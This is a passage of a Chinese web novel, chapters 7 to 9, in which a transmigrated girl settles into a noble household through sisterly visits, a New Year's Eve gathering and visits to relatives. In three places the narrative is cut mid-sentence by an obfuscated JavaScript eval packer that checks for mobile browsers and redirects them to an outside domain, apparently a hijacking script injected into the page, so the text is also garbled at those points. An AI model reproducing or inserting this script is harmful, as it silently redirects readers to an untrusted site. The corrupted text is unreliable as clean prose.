感谢老天爷待她不薄,叫她重新在古代活上一世,叫她也有了可以真心相待的家人,奶奶啊,您别担心我,我会在异世活的很好很好。 这辈子的林诗芸终会幸福安乐的。 7. 第 7 章 翌日姐妹俩都起晚了,丫鬟试图叫醒,被王妈妈给阻了。 如今天寒地冻的姑娘又不用去上学,便叫二人且好好睡去。 夫人特意嘱咐过的,二姑娘也就这两年的好日子了,待十岁后去了女学,那必是要每日早起的。 只是两个孩子还是被吵醒了。 林诗情还好一些,头发养的比较顺滑,睡一觉起来也不见得很乱,林诗芸可就不行了,头发本就干枯,姐妹二人睡觉都不老实,林诗芸顶着个鸡窝头,睡眼惺忪的,迷迷糊糊的揉着眼睛看着闯进来的两个小姑娘。 个子高的那个明显的更有气势,抱着膀子站在床前,巴掌大的小脸上眼睛滴溜溜的乱转。 她打量了几眼林诗芸,眼神略微有些嫌弃,转头便开始嘲笑林诗情,瞧着已经日上三竿了都还未起床的二妹妹,林诗瑶捂着嘴道:“吆,二妹妹是打算睡到晌午才起吗,咱们府上可没有睡到日上三竿才起的小姐,被祖母知晓,少不得说你两句。” 林诗瑶今年九岁,林诗情八岁,林诗意只比林诗情小上几月,因姨娘难产去了,自小便是跟林诗瑶一同养在嫡母身前的,姐妹几人的关系一直不错,只是两个女孩这般早至二房还是头一次。 林诗情也不生气,打着哈欠由着丫鬟帮着穿衣裳,“大姐姐和三妹妹怎的来了,不是说好了过两日我带四妹妹去找你们,大姐姐你可悠着点,我妹妹胆子小,你别给吓着了。” 林诗瑶嗤了一声,她已经看清了林诗芸的相貌了,长得跟个豆芽菜似的,还没她三妹妹好看呢。 林诗意对两个姐姐的拌嘴一点不感兴趣,反正二人一碰到就这样,她都习惯了。 她已经坐到了床榻边,一脸好奇的打量着瘦小的林诗芸。 这个妹妹怕不是从乞丐窝里捡回来的吧,怎生的这副模样,没吃过饱饭吗? 啊,额头上那是疤?哎吆,那她长大了该不会也这样丑吧? 林诗意又摇摇头,她听奶嬷嬷说小孩子刚生下来都是丑的,长大了这才变得好看,可是这个妹妹看着跟她差不多大啊,还能变好看吗。 于是林诗芸的早晨,便在林诗意可怜又好奇,林诗瑶嫌弃又想逗弄的眼神中度过的。 用早膳时,林诗瑶和林诗意自然留一起用,林诗瑶看着吃的满嘴鼓鼓囊囊的林诗芸,终于注意到了她手上的冻疮,她碰了碰林诗情的胳膊,小声道,“你这个妹妹怎的是这副惨样,不会是二叔从乡下捡的吧?” 林诗瑶,因着是侯府嫡女,从小便被宠的无法无天口无遮拦,那一张嘴跟个刀子似的,逮谁刺谁,绝不会因为你弱小可怜而放过。 林诗情翻了个白眼,纠正道:“是我们的妹妹,侯府的四姑娘,大姐姐,待晚上爹爹归家我去问问爹爹再给大姐姐解答,大姐姐别怕爹爹训斥哦,” 说完又朝林诗芸的方向努了努嘴,“四妹妹吃饭特别香,还不挑食,大姐姐快帮着投喂投喂。” 林诗情肚子饿,看妹妹吃东西太下饭了,她今日也要多用些。 林诗瑶确实发现了,小姑娘吃饭确实香,还不挑食呢,她可是看见三妹将她自己不爱吃的蛋黄给了四妹妹,人家也不嫌弃,一口就塞进嘴里了。 于是,林诗瑶夹起了个自己最不爱吃的豆沙包给了林诗芸。 林诗芸有些受宠若惊的接过,一双眼睛笑的月牙儿一样跟她道谢,低头便对着松软的豆沙包咬了一口。 豆沙包小小一个,一口下去便咬到了内里绵密香甜的红豆沙,林诗芸真的被惊讶到了,是真的好吃,纯手工制作的红豆沙,口感柔滑细润,甜而不腻,外皮松软还带了些奶香,好吃到林诗芸直点头。 “谢谢大姐姐,豆沙包真好吃,大姐姐真好,” 活着真好,或者说,没有生病真好,她想吃什么便能吃什么,只恨肚皮太小,吃不了多少。 看四妹妹的模样,林诗瑶不由自主的也夹起个豆沙包咬了一口,嗯...还是那样啊,一点也不好吃,外皮太噎人了,里头的豆沙也不甜。 她勉强将嘴里的咽下,剩下的便再也吃不下了。 她爱吃甜的,越甜越好。 虽说她和三妹未用早膳便来了,但是她也只喝了一碗粥便不再用了,而是专心的投喂起了林诗芸。 哎吆,这么瘦小一个,怎么这样能吃呢,喝了三碗粥了? 竟然还想喝粥,这小东西怕不是因为吃的太多被丢弃的吧? 啧啧,太能吃了。 林诗情和林诗意今日都多用了一碗粥。 主要是看林诗芸吃东西太下饭了,她们不自觉的就多吃了,二人意犹未尽的打了个饱嗝,看四妹妹在喝了最后一碗粥后被赶来的王妈妈给憋着笑制止了小姑娘想抓豆沙包吃的手。 “姑娘莫再吃了,积了食就不好了,妈妈准备了山楂糕,姑娘们再吃一些消消食可好,” 说完丫鬟们便撤了早膳,四个姑娘一人捏了块山楂糕小口小口的用着。 自冬至起上学便停了,她们这些姑娘们自是解放了。 尤其是林诗瑶,她今年九岁,身为侯府嫡长女,每日要学的东西太多,今日她是在母亲叫她之前偷偷带着三妹溜出来的,她今日是要在二房待上一日的,谁喊她也不走。 孩子多了热闹。 都是差不多大的女孩子,虽然也会拌嘴,但是也没有真生气的。 尤其是林诗瑶和林诗情。 二人都是嫡女,林诗瑶是个嘴毒的,林诗情也不惯着,二人你来我往的闹了半晌,兴许是累了,竟都老实的坐到了一处翻花绳去了。 外头冷的很,她们倒不是不想出去,只是都知道林诗芸的手脚还得好好养着,便也歇了去外头游戏的心思,在屋里玩个毽子投个壶,一晌午也很快过去了。 午膳四个女孩们单独开了一桌。 姚氏只来叮嘱了几句便走了。 她也是这个年纪过来的,自是知道小姑娘们玩闹的时候不喜长辈们在。 已经年底了,虽说侯府尚未分家,但是丈夫的上峰和官场上的朋友还是需要走动的,她的嫁妆铺子,酒楼,一些田产到年底了都需要盘账,她也是忙的很。 明日是过继给三房的那孩子洗三,老太太竟然还劳师动众的大办起来,她虽说心里有些不舒服,但是三弟媳终于有个孩子养在膝下了,与三弟媳来说是极好的事情,她那微不足道的酸涩也就烟消云散了。 她一早便去看了三弟媳,她正抱着那孩子逗弄着,一脸的母爱,见到她来,竟是朝她行了个大礼,谢她将松口将孩子过继给了三房。 姚氏心里直叹气,有什么好谢她的呢,她什么也没做,这孩子生都生了,她说不叫过继,婆母和丈夫便会同意吗,且都是女子,她又怎体会不到三弟媳的心情呢。 三房多年无所出,三弟媳更是不知求了多少神佛,喝了多少汤药,所有人都知道问题出在哪里,但是所有人都不敢说。 无后的男人同废人无异,所以这些年,三房从主子到下人一直像是活在了阴霾里,暗无天日。 她看着头顶的艳阳,无声的扯了扯嘴角,明日应也是个好天气,三房的阴霾也会消失殆尽了。 四个孩子热闹了一天。 午膳后四人也不嫌挤,躺在一张床上睡了个午觉,只是一会这个一句话,一会那个一句话,最后谁也没睡着罢了。 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041266|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚膳时林诗瑶和林诗意才被侯夫人程氏身边的亲信奶妈妈给叫了回去。 林诗瑶知道自己免不了一顿数落,便利索的牵起三妹妹的手走了。 林诗芸小心的上前抱了抱二人,声音糯糯着道:“今日芸儿很开心,谢谢大姐姐和三姐姐。” 郑妈妈早就将这位四姑娘打量了个遍,笑着哄道:“四姑娘且放心,过两日大姑娘和三姑娘定还来看姑娘,姑娘好生养着,侯夫人差奴婢送了好些补品,已经送去叶姨娘院里了。” 林诗芸歪着头,有些不好意思的揪着衣摆,小脸红扑扑道:“谢谢,嗯...” 她应该给侯夫人叫什么呢,大伯母? 林诗情悄悄的附上她的耳朵道,“妹妹,侯夫人就是大伯母,要叫大伯母,” 林诗芸忙不迭点头,“谢谢大伯母,谢谢妈妈,芸儿会好好吃哒。” 然后便见两个小姑娘一步三回头的走了。 林诗芸今日确实高兴,她没想到侯府的小姐们都这么平易近人,一点也没有大小姐脾气。 看着也都挺喜欢她的?嗯...至少不排挤她。 但是她还是最喜欢二姐姐了,她二姐姐最好! 于是,在去主院用完膳的路上,林诗芸抱着林诗情的胳膊一直在表白。 二姐姐真厉害,大姐姐都说不过二姐姐,我姐姐最厉害啦! 芸儿最最喜欢二姐姐了! 给林诗情哄的,恨不得晚上继续搂着妹妹睡。 可惜因为明日家中有宴会,外祖家要来人,被娘亲给否了。 不过林诗情也不在意,待她见完客再去找妹妹玩就好啦。 晚膳后的林诗芸想自己走路来着,但是被叶姨娘给拒绝了。 小姑娘的脚还肿着呢,今日也走了不少路了,闹了一天了也累了,还是她来背着,也叫姑娘松快松快。 兴许小孩子身板太小也没睡午觉,林诗芸竟在叶姨娘的背上沉沉的睡了过去,且睡的极为香甜。 叶姨娘同丫鬟一起将林诗芸搬上了床,给净了手脚擦了药之后又看了芸儿半晌才带着幸福的笑容退了出去。 主院,林怀诚看着妻子欲言又止。 姚氏心知这是有话说呢,帮丈夫宽衣的手轻轻顿了顿,带着几分迟疑道:“二爷您有话直说便是,都老夫老妻了,缘何用这种眼神,莫不是,您又做了什么事情?” 林怀诚一下便急了,手忙脚乱的抓住了姚氏的手开始解释,“不是,之颜怎会这样想,是,” 他叹了口气,“是娘想将秦明月的牌位接到祠堂,说,说她怎么都是天哥儿的生母,” 他见妻子并未生气,继续道:“天哥儿便是三房那孩子,母亲说天哥儿生母的身份不宜太低,总不能叫人说是个外室生的,便想叫我将牌位给带回来,她给侯府生了两个孩子,也算有功,便给她一个良妾的身份...夫人,夫人以为如何,若是,” 姚氏直接打断了丈夫的话,嗔了丈夫一眼,手上继续为丈夫宽衣,“不管她从前如何,她确实为夫君生了两个孩子,且不说为了天哥儿,便是为了芸儿,她的身份也不该是个外室,” 她接过丫鬟的衣衫,又亲手给丈夫换上,继续道:“母亲考虑的极是,我没什么意见,夫君不必多虑。” 林怀诚的一颗心,此时仿若是被人锤过一般,如此娇妻,他竟弃她辜负多年,是他该死啊! 他将妻子拥在怀里,一字一句道:“得之言如此相待,夫复何求啊。” 意思是,这么多年,确实是我糊涂啊。 姚氏心中甚至连一点波澜都没有,只是夜里的时候感受着丈夫的努力,无声的勾了勾唇角。 8. 第 8 章 半月后,林诗芸终于适应了现在的生活,衣来伸手饭来张口,已然成了个官家小姐。 她接受度良好,所有的事都有丫鬟婆子张罗,日子过的不要太舒服。 姨娘待她也是贴心周到,拿她当亲女儿一样。 她大概能想到这个时代无所出的小妾是什么结局,所以她坦然接受了姨娘的好,并且多次向姨娘表明自己也会好好孝顺姨娘这件事,无论她以后会不会成亲,又嫁了谁,姨娘都是她的娘亲,她会待她如亲娘一般。 只是因为手脚上的冻疮,姚氏发了话叫她好好修养,姨娘也是轻易不允许她出去玩闹,她每日除了姐姐的院子便在姨娘院里,虽有些无趣,但是再也不用为活不到明日而发愁,还过的这样舒服,她觉得再也没有更好的日子了。 她可不是什么张口便是人人生而平等的穿越女,有人伺候不行还非得自己动手,那种是纯有大病,不被当成妖怪烧了真就奇了怪了。 芳澜苑就在林诗情的芳菲苑隔壁,也已经收拾好了,初八这一日,林诗芸在一众婆子丫鬟的簇拥中终于搬了进去。 叶姨娘对林诗芸搬走十分不舍,她早已将林诗芸当成了亲子对待,只是不舍归不舍,轻重叶姨娘还是知道的。 姑娘单独一个院子是大好事啊,一来住在二姑娘隔壁,二来夫人定也寻了管事妈妈来,姑娘也好跟着学正经东西。 她一个民女,自是教不了姑娘什么的。 不过她心里早就下定了决心,不管刮风下雨,她都要去看姑娘的,姑娘也会过来看她,只要姑娘还记养在她膝下,能记着自己的好,这便够了。 林诗情对于妹妹搬家是十分的高兴。妹妹那样乖巧,除了在吃食上有点控制不住,可谓林诗情理想中的妹妹了。 兴许是被饿怕了,林诗芸用膳时总是用的很多,远远超过了她这个年纪的饭量,叶姨娘一开始还是有些担心的,每日都备了好些的消食丸,但连着几日下来见这孩子没什么不适的,只是吃的多了些,便也放下了心来。 林诗芸的小脸终于给养出了些了些肉,手脚上的冻疮已经好了很多,毕竟是成年人的灵魂,林诗芸一直表现的都十分乖巧听话,平时不吭声,手里总是拿着块点心睁着圆溜溜的大眼睛听姐姐或者母亲说话,但是只要一开口便是贴心的不得了,一张嘴惯会哄人的很。 芳澜苑是姚氏一手布置的,十分用心,她目前和丈夫表面上可谓是蜜里调油,自是要表现一番。 不管怎么说,她都是要再生一个的,无论男女。 林诗芸看着跟嫡姐院子不相上下的小院,心中温热,听着婆子们的你一言我一语的介绍,大眼睛眨巴眨巴的,虽不是很明白,但也知道姚氏给她用的都是自己嫁妆里的好东西,于是那小嘴就跟抹了蜜似甜言蜜语净往外冒。 谢谢母亲,女儿很喜欢,母亲这么好,芸儿一定快快长大好报答母亲。 姐姐你快看,屏风上的蝴蝶给真的一模一样的,都要跑出来了。 姨娘,姨娘,这个上面雕的花朵好大好漂亮啊。 哇,母亲给芸儿布置的书房好大好多书啊,芸儿也要读书认字了吗,母亲最好了,谢谢母亲。 有时连带着姐姐和姨娘一起夸,诸如此类的话跟豆子似的接连往外蹦,给姚氏哄的脸上的笑兜都兜不住,心里思趁着回娘家的时候不若带上这个嘴甜的,也好安了母亲的心。 林诗芸的待遇同林诗情一样,一个婆子,房内两个大丫鬟,四个二等丫鬟,院子里还有几个负责洒扫的丫鬟婆子。 奶嬷嬷也是姚氏的陪嫁,姓陈,每日陈妈妈给林诗芸抹药膏的时候林诗芸都十分配合,每日妈妈长妈妈短的,不是说都听妈妈的,就是说妈妈说的极是,几日下来便给陈妈妈哄的拿小姐当亲孙了。 对于女儿性情的转变,林怀诚是乐见其成的。 从前他对小女儿的关心太少了,如今女儿性格开朗了许多自是好事,家里欢声笑语也都多了不少,他这个一家之主心中自是开怀。 尤其是上峰还透露出提拔自己的消息,如今他可谓是春风得意了,莫不是他的芸儿是个小福星,刚接回家来他就有了好事? 罢了罢了,待到开春事成定局再好好奖励女儿不迟,都奖励,大女儿和儿子可也都是他的心头宝呢。 到除夕那日下了场特别大的雪,室内的地龙烧的很旺,姐俩都在榻上陪着姚氏说话,叶姨娘坐在主母下首,时不时的帮着添个茶水。 两个小姑娘吃着果子和点心,一边欣赏下外头的雪景,一边也不闲着,小嘴叭叭的讨论着什么,开心肆意。 姚氏在一旁定完团圆饭的席面,偶尔抬头看姐妹两眼,自然也听见了姐俩的对话。 想吃雪糕的林诗芸,“姐姐,你说雪是什么味道的?好吃吗?” 傻乎乎的林诗情,“嗯...冰冰凉凉的,像水一样,没什么味道,不好吃的。” 嗯,姐姐肯定也偷吃过雪。 继续下套的林诗芸,“姐姐,是不是加些糖水进去就好吃了?嗯...再加点水果?姐姐尝尝,这个橘子好甜啊,” 就见林诗情张嘴吃下,果然被甜到了,“嗯好甜,但是母亲说不能吃雪的,太凉了,待到夏日才能吃冰的,妹妹不要馋,等妹妹胖一些就到夏日了,” 下套失败的林诗芸乖乖的点了点头,听到夏日能吃冰一双眼睛又弯成了月牙,上辈子她因为生病,可是多少年没吃过冰的东西呢,屋里这么热,要是能吃上口冰的就最好不过了。不过转念一想日子过的也快,夏日就能吃到了不是,有了盼头她便也开心起来,“嗯嗯,姐姐真好,那我要吃水果味的,” 姚氏同叶姨娘无奈对视一眼,俱是摇了摇头。 这俩傻孩子,雪有甚好吃的。 听着两个孩子稚嫩的话语,姚氏的嘴角不由弯的更深了,丈夫说他升迁的事情基本上是定下来了,她这日子过的真是没有一处不如意了,虽说芸儿不是自己亲生的,但这孩子确实挺和她心意,除了瘦和贪吃,真是哪哪都不错。 叶姨娘做事妥帖周全,有叶姨娘照顾着,也不用费她什么心。 今年特殊情况,老侯夫人在三房守着金孙过除夕,大房二房便在各自的院里过。 夜里一家人围在一张榻上守岁,林诗芸看着爹爹手上拿的果酒,舔了舔唇角,不动声色的挪动到渣爹旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041267|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一脸好奇的凑上去闻了闻,林父也不生气,揉了揉小女儿的脑袋,只当是小女儿又犯馋了。 林父笑着道:“这是酒,芸儿长大了才能喝。” 林诗芸不死心,上辈子她就没喝过酒,她是真的想尝尝,好馋啊,抿着嘴执拗的看着爹爹,眼睛里写满了渴望,“桃子味的,味道定是甜甜的,” 林父被她这个馋猫的模样逗的发笑,竟用筷子沾了沾,送入了小女儿嘴里...... 待叶姨娘同姚氏净手回来发现的时候,已经晚了。 林诗芸已经磨着渣爹喝了一大口了,大女儿看到妹妹尝了果酒,那可不愿意了,也闹着要尝上一尝。 两个女儿不多时便趴在爹爹的身边睡了个昏天黑地,大过年的,林父竟被妻子给扯着袖子训斥了半晌,叶姨娘在一旁帮着照顾两个小的,看着夫人在训二爷,急出了一身汗。 那边林景明又趁无人注意他,竟然偷摸的喝了一杯子的果酒,不一会竟醉起了酒... 林诗芸加入林家的第一顿年夜饭当真吃的是鸡飞狗跳,好不热闹。 但是! 一切都不影响大年初一的欢乐祥和。 两姐妹身上穿了同款的新袄子,俱是喜庆的大红色,领口和袖口俱是白白的兔毛,好看极了。 林诗芸至林家已月余,颜色已经养回来一些了,爹娘都是个美人,生出来的孩子又怎会丑了。 额头上的疤虽然还能看到,但也淡了不少了,整个人胖了许多,不再是瘦小一团的模样,白了也精神了,连头发都不那么干枯了,也不枉陈妈妈换着法的哄着她吃黑芝麻糊。 哥哥林景明也是穿的极喜庆的红衣,兄妹三人恭敬的朝上首的父母拜年,吉祥话说了一堆。 姚氏给的红包是极厚的,叶姨娘也给了的,虽说林诗芸对这个世界的金银还没什么概念,毕竟也没出过门,不过钱吗,自是没有嫌多的,只是她没有想到,哥哥姐姐也都给她准备了新年礼物。 给小家伙感动的不要不要的。 她接过哥哥姐姐给的礼物时还有些没反应过来,这是什么神仙哥姐啊!八岁的孩子,不,过完年就算是九岁了,怎么这么懂人情世故呢。 于是抱着姐姐的胳膊便开始撒娇,姐姐真好,哥哥真好,做哥哥和姐姐的妹妹,芸儿可太幸福了。 说完便眼珠子一转,看着林父和姚氏讨好道,“爹爹和母亲太厉害了,给芸儿生了这么好的哥哥姐姐,芸儿太太太幸福了。” 林诗芸就是这么面面俱到,给林家人哄的开怀大笑。 叶姨娘站在一旁眼里是止不住的骄傲,她的四姑娘,实在是讨人喜欢。 辞暮尔尔,烟火年年。 林诗芸小跑在雪地里,她们要去老侯夫人院里拜年,也是她跟侯府众人正式见面的日子,她心里还是有些忐忑的。 前头是一身红衣大声呼喊着妹妹快来的姐姐,还有无奈的看着二人玩闹跟个小大人似的哥哥,忽然觉得在这异世如此的过完一生,应该也挺好的。 既来之则安之,没什么好怕的。 开年大吉,那便祝福一句,愿得长如此,年年物候新吧。 9. 第 9 章 大年初一这日侯府自然装饰的红红火火,张灯结彩。 林诗芸走的是七拐八绕脚都累了才到。 不得不感叹一句,侯府确实是大啊,比电视上看到的是一点也不夸张,有小楼也有庭院,曲水流觞,即使被白雪覆盖,也能看到它的奢华气势来。 老祖宗院里大房已经到了。 林诗瑶旁边站的依然是林诗意,姐妹俩朝林诗芸姐妹眨了眨眼,老实的站在父母身侧。 上首的老祖宗一身酒红色袄子,比林诗芸初见已然是精神了许多。 解决了心病,身体自然便舒爽了。 林诗芸跟着父母跪拜,这种时候妾室是不能出来的,所以厅内的只有各院的主子们。 因着林诗芸是天哥儿的亲姐姐,这件事大人们心知肚明,老祖宗夸赞了芸儿两句,并同大儿子嘱咐既然接回来了,开祠堂时芸儿名字一记到族谱里。 林诗芸,也便正式入了族谱。 定案侯林怀安三十多岁的年纪,是个看起来比自家渣爹还要好看些的帅大叔,侯夫人程氏是个富态温婉的妇人,长的慈眉善目的。 大房的几个孩子,世子林景行随了侯爷的长相,虽也只十一岁,已经是个面容俊秀的小伙子。 初次见到林诗芸,也只是微微笑着点头示好,并未做多言语。 嫡次子林景晟倒是活泼好动,跟林诗芸差不多大的年纪,虎头虎脑的,长相上是虽了侯夫人多一些,面对林诗芸也是好奇的很,四姐姐长四姐姐短的,一会儿也就熟悉了。 至于还有一位庶子林景年,只是朝林诗芸温柔的笑着,看起来十分友善。 好半晌三房夫妻才抱着孩子姗姗来迟,老祖宗忙不迭亲自将金孙给接了过来,又磨磨蹭蹭的拜过年后,大年初一这顿饭,这才开始。 不是老祖宗只爱这一个孙子,都是她孙子,她自然是疼的。 只是她一向是偏疼小儿子的,如今小儿子有了后,她不免多费些心思。 值得一提的是,三房夫妻看起来都很是健康,尤其三叔林怀辰,人高马大的,模样也十分俊俏。 三婶的长相也是百一挑一,身材也是十分高挑,林诗芸撇了撇,啧啧,两人倒是都不像不能生的,这里头肯定有八卦啊。 总之,认亲这事就像是件很平常的事情,也没有人出来为难一个孩子,林诗芸这一天除了收红包,便是吃吃喝喝,她这辈子怕不是拿了个宠文的剧本吧,不然日子怎会过的这般甜蜜呢。 姚氏归宁这日二房表现的非常隆重。 主要是人逢喜事精神爽,一家人整整齐齐的,全家出动。 喜事嘛,林怀诚升迁的消息已经定下来了,大舅哥在其中的功劳可是不小,他理应陪着妻子前往,听说大姨子也是全家出动,他们定也不能输了的。 姚国公府离着定安侯府并不远,虽说一个城东一个城北,但马车只需半个时辰也就到了,只是嫁出去的女儿平日里是不能随意归家的。 礼物备了满满一车厢,夫妻二人带着三个孩子满面春风的至了国公府。 林诗芸和林诗情一左一右的牵着母亲的手,身上的同款斗篷,一个红色一个粉色,因着天寒姐妹俩都带上了帽子,只露出带着明媚笑容的小脸,上头两条长长的兔耳朵可爱极了,脚上蹬着鹿皮的小靴子,踩在雪地里咯吱咯吱的,一点也不觉得冷。 林怀诚带着儿子去了前院,姚氏带着两个女儿直接去了后堂,男人们自有男人们的拜年方式,她们这些女眷也是热热闹闹的欢聚一堂。 后院女眷多,林怀诚一向知礼,从未逾矩。林景明是个小古板,早就将自己当成了小大人,如今新年已过算是九岁,更是不肯去温柔乡了,主要是姨婆姐妹们众多,脂粉气太浓,颇受拘束,还是同爹爹和表兄们一处比较自在些。 结果这小孩刚给外祖父磕了头,便被世子表兄给拖去了后院,搞的小家伙还颇为郁闷。 这边厢林诗芸随着姚氏已经来到了后院。 早就有老国公夫人得脸的婆子在门口等候了,应是姚氏极为熟悉的妈妈,姚氏轻轻抱了抱婆子的胳膊问了好,婆子笑着看了看两个女娃,在林诗芸脸上停留了一瞬,微微点了点头,几人这才几门。 刚一进去,便传来了欢声笑语,只见一屋子的女眷,燕肥环瘦什么样的都有,上首上坐着这位美貌且极有压迫感的妇人,看着也就四十岁多的模样,身上穿的是金线锁了边绣了祥云的酒红色褂子,头上只两只金簪伴着支不知什么木的簪子,脖子上挂了个金项圈,眼神锐利,气质浑然。 听到动静便敛目忘了过来,瞧见来人,笑容又加深了几分。 之颜这孩子,甚得她心,她身上这褂子就是之颜一针一线绣的,没叫她白疼一场。 再看看亲外孙,不错,随她,富态可掬。 旁边瘦瘦小小的是女婿带回来的外室之女? 嗯……这件事上她对女婿是有些意见的,不过稚子无辜,罢了,那人死都死了,总归是之颜这丫头愿意养着,看着确实乖巧,于是郑氏便也换上了笑脸,不再多虑。 室内温暖如春,一进屋便有丫鬟将一大两小身上的披风给脱掉了,姚氏见嫡姐已经到了,带着两个女孩笑着便给上首的母亲赔不是,“女儿来晚了,母亲可原谅则个。” 屋里的女眷也都起身相迎,现伯夫人秦氏起身扶了二妹姚玉英一把对姚之颜嗔道,“二妹怀着身子都比你来的早,一会用膳可得罚你三杯。” 姚之颜也不惧,“好好,嫂子和姐姐罚几杯都好,反正今日我是要带着两个女儿住下的,罚五杯我也喝得。” 嫡姐姚玉英倒是先看了眼林诗芸,见孩子一脸纯真见大人们说话只好奇的望着,也不说话,突然就想起了小时候的小妹,心中微动,姐妹们心照不宣的递了个眼神,只听老伯夫人开口责怪道,“惯会同你嫂嫂胡扯,五杯喝完不就醉了,” 一旁的嫡亲小儿媳孙氏也凑了过来,“母亲,三妹从前便爱桃花酿,尤其是嫂子酿的,未出阁时您忘了,偷喝完给嫂子的桃花酿给兑了水装作没动给端上了桌,今日怕是知道嫂嫂拿桃花酿招待,迫不及待了,” 说完一屋子的人俱是哈哈大笑起来,几个庶弟媳妇虽说不去硬凑,却也都是大大方方的看着几人说笑,姚氏也不生气,由着众人笑,反正这事她是这辈子都逃脱不了了。 老国公夫人郑氏育有二子一女,加上记在自己身上的庶女姚之颜,便是二子二女,不过老爷子嗣众多,光是庶子便有三个。几个庶儿媳平日里倒是老实的,现国公夫人手段了得,平日里大家都是在自家的院子里,每日晨昏醒定的伺候老太太,掀不起什么风浪。 只是今日姚之颜是带着新女儿来的,虽是庶女,但众人免不了的需要给上一些见面礼。 林诗情牵着妹妹的小手同外祖母磕头见礼,林诗芸也不怵,跟着姐姐乖乖磕头,只是在叫外祖母的时候卡了一下壳,有些不好意思的跟姐姐咬耳朵,“姐姐,外祖母怎么像母亲的姐姐,我不敢叫,喊老了怎么办,” 林诗情也眨巴着大眼睛,瞅瞅自家娘亲又瞅瞅外祖母,一脸认同的点了点头。 两个小孩子的声音不大,但是却叫在场的大人都听了个真切,纷纷低头忍笑,两个小孩还不觉得,只见林诗情对妹妹摇摇头道,“不行的,外祖母就是外祖母,妹妹要叫外祖母哦,” 林诗芸当然是故意卖憨讨好,乖乖的点头,叫了句,“芸儿给外祖母请安,外祖母新年好。” 郑氏早就被两个小孩子的童言童语给逗笑了,摆摆手叫两个孩子到她跟前来,摸了摸两个孩子的头,又仔细端详着林诗芸的小脸道:“难怪你喜欢这孩子,说是你生的我都信,跟你七八岁的时候一模一样。” 林诗芸张大了嘴看着眼前的美妇人,是真的好看,岁月从不败美人,她觉得眼前的妇人美的连眼角的细纹都是那样美,美的张扬,别有一番风情。 这靠的这么近,林诗芸直接看呆了,盯着眼前的美妇人嘴巴不受控制脱口而出:“外祖母是仙女公主吗,好好看哦,” 林诗芸是真的没夸张,郑氏为定北侯嫡女,年轻那会子可是有京城第一美女的美名,若不是不想在皇家之事上站位,做皇子正妃也都是可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041268|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是当时的定北侯机警,国公爷又救过定北侯,加上当时的姚国公也算是有副好相貌,这才将千娇百宠的女儿嫁了。 郑氏今年满打满算的也不到五十岁,锦衣玉食的供着能显老就怪了,现下听了林诗芸夸赞自然是高兴的,被这孩子哄的眉开眼笑,现国公夫人秦氏见芸儿还呆呆的看着母亲,捂着嘴上前打趣道:“这孩子怎的还是个花迷,被母亲迷的五迷三道的,眼睛都不带眨的了,” 姚之颜也是笑着道,“嫂嫂别吓着芸儿,这孩子可是胆小的很,” 林诗情倒是不明所以,跟着众人一起笑开了,只有林诗芸,反应过来自己干了什么之后顿时羞红了脸,转身扑到姚之颜的怀里将脸给藏起来了。 因为林诗芸的这么一打岔厅内也更加热闹了些,郑氏几人也早就从王妈妈口中知道了林诗芸从前所经历的事情,自是谁也没提,以郑氏为首每人给了林诗芸价值不菲的见面礼。 姚之颜捂着额头听着两个孩子在身后叽叽喳喳。 林诗芸:“姐姐,我是不是发财了,改日姐姐带我出去买好吃的可行?” 林诗情不住的点头,“嗯嗯,发财了发财了,姐姐改日带你去吃好吃的,花爹爹的钱,” 姚玉英拐了拐妹妹的胳膊,捂着肚子笑道:“没想到今日归家的乐趣竟是你这二女儿给的,这孩子有趣啊,” 说完又侧头看了一眼林诗芸还未好全的小手,“虽说也吃了些苦,但是如今跟了你,以后的日子必然都是甜的了。” 姚之颜不住的点头,“姐,你是不知道,除夕夜里两个丫头竟然缠着她们父亲喝果酒,连景儿都给吃醉了,给我闹的头疼,不过自从芸儿来了,家中也确实热闹了许多了。” 这边说曹操曹操到,国公世子姚君远带着林景明同几个弟弟来了。 林景明挨个磕头问安收完礼之后便老实站在一旁呆着,看着林诗情带着林诗芸去认识姐姐妹妹,实在是老国公太能生,两房嫡子三房庶子生了十几个孩子,孩子多了也闹头疼,国公夫人忙叫儿子带着一众弟弟妹妹出去玩去了。 姚君远也才十二岁,虽有个世子的身份,但是架不住年纪在那呢,便手上牵着三叔家五岁的小弟姚君澜后面呼啦啦带着一群弟弟妹妹走了。 包括林诗情姐妹,都老老实实的跟在众位哥哥身后。 姚君澜的姐姐姚若华同林诗情差不了几月,二人也是极好的姐妹,今日见林诗情一直牵着妹妹林诗芸的手便有些不大高兴了,刚一到后院尚未开始玩闹林诗情便去哄姚若华去了。 